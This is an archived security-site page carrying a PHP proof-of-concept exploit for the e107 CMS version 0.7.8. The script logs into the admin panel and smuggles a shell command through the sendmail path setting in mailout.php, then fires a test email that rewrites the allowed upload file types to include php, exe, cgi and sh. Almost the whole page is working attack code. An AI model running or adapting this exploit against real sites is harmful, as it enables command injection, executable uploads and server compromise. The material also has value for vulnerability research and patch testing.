TUCoPS :: Web :: CMS / Portals :: tb10362.htm

E107 - (v0.7.8) Access Escalation Vulnerbility - PoC
E107 - (v0.7.8) Access Escalation Vulnerbility - PoC
E107 - (v0.7.8) Access Escalation Vulnerbility - PoC






  \n\n\t Ex: http://www.example.com/e107/ usera passb\n"); 

$url = $argv[1];
$user = $argv[2];
$pass = $argv[3];

$ch = curl_init($url . "e107_admin/admin.php");
if(!$ch) die("Error Initializing CURL");


//Login
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.dat");
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"authname=".$user."&authpass=".$pass."&authsubmit=Log+In");
$res = curl_exec($ch);
if(!$res) die("Error Connecting To Target");

echo "[ ]Logging In...\n";

//Check Login Succeeded
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.dat");
$res = curl_exec($ch);
if(!$res) die("Error Connecting To Target");
$res = strstr($res,"administrator.php");
if(!$res) die("Error - Invalid Username Or Password");

echo "[ ]Login Suceeded!\n";

//Enable upload of everyones favourite filetypes
$cmd = "echo php,php3,exe,gzip,pl,cgi,shtml,sh > filetypes.php";
 
curl_setopt($ch, CURLOPT_URL,$url . "/e107_admin/mailout.php?prefs");
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"testaddress=none@nomail.net&mailer=sendmail&smtp_server=&smtp_username=&smtp_password=&sendmail=".$cmd."&mail_pause=3&mail_pausetime=4&mail_bounce_email=&mail_bounce_pop3=&mail_bounce_user=&mail_bounce_pass=&updateprefs=Save+Changes"); 
$res = curl_exec($ch);

curl_setopt($ch, CURLOPT_POSTFIELDS,"testemail=Click+to+send+email+to&testaddress=none@nomail.net&mailer=sendmail&smtp_server=&smtp_username=&smtp_password=&mail_pause=3&mail_pausetime=4&mail_bounce_email=&mail_bounce_pop3=&mail_bounce_user=&mail_bounce_pass="); 
$res = curl_exec($ch);

echo "[ ]Upload Of Executable Scripts Enabled\n";
curl_close($ch);
?> 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH